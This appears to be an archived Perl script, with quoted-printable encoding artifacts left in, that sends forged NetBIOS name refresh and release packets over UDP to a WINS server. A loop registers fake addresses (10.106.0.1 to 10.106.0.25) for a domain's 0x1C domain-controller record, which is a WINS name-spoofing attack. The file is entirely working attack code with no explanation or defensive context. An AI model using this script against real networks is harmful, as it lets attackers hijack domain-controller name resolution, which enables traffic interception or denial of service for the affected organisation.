home *** CD-ROM | disk | FTP | other *** search
- use Socket;
-
- $WINSAddress =3D "XXX.XXX.XXX.XXX"; #IP Address or Host/NetBIOS name
- $DomainName =3D "AAADUMMY"; #Must be all caps
- $SequenceNumber =3D 0x8000;
- socket(SOCKET, PF_INET, SOCK_DGRAM, getprotobyname("udp")) or die =
- "Socket not created $!\n";
- $destAddress =3D inet_aton($WINSAddress);
- $destPort =3D sockaddr_in(137, $destAddress);
-
- for ($i=3D1;$i<=3D25; $i++)
- {SendRefresh ($DomainName, 0x1C, "\x0a\x6a\x00" . chr ($i))}
-
- sub Sequence
- {
- my ($high, $low, $str);
- $high =3D $SequenceNumber >> 8;
- $low =3D $SequenceNumber % 256;
- $SequenceNumber +=3D 2;
- $str =3D chr($high) . chr ($low);
- return $str;
- }
-
- sub SendRelease
- {
- my ($tempname, $data);
- $tempname =3D NetBIOSName ($_[0], $_[1]);
- $data =3D Sequence () . "\x30\x00\x00\x01\x00\x00\x00\x00\x00\x01\x20" =
- . $tempname . =
- "\x00\x00\x20\x00\x01\xc0\x0c\x00\x20\x00\x01\x00\x00\x00\x00\x00\x06\x2=
- 0\x00" . $_[2];
- send (SOCKET, $data, 0, $destPort) =3D=3D length($data) or die "Failed =
- to send packet: $!\n";
- }
- =09
- sub SendRefresh
- {
- my ($tempname, $data);
- $tempname =3D NetBIOSName ($_[0], $_[1]);
- $data =3D Sequence () . "\x29\x00\x00\x01\x00\x00\x00\x00\x00\x01\x20" =
- . $tempname . =
- "\x00\x00\x20\x00\x01\xc0\x0c\x00\x20\x00\x01\x00\x04\x93\xe0\x00\x06\xe=
- 0\x00" . $_[2];
- send (SOCKET, $data, 0, $destPort) =3D=3D length($data) or die "Failed =
- to send packet: $!\n";
- }
-
- sub NetBIOSName
- {
- my ($c, $ord, $high, $low, $tempname);
- while ($_[0] =3D~ /(.)/g)
- {
- $c++;
- $ord =3D ord ($1);
- $high =3D $ord >> 4;
- $low =3D $ord % 16;
- $tempname .=3D chr($high +65) . chr($low +65);
- }
- for (;$c<15;$c++)
- {$tempname .=3D "\x43\x41"}
- $high =3D $_[1] >> 4;
- $low =3D $_[1] % 16;
- $tempname .=3D chr($high +65) . chr($low +65);
- return $tempname;
- }
-
-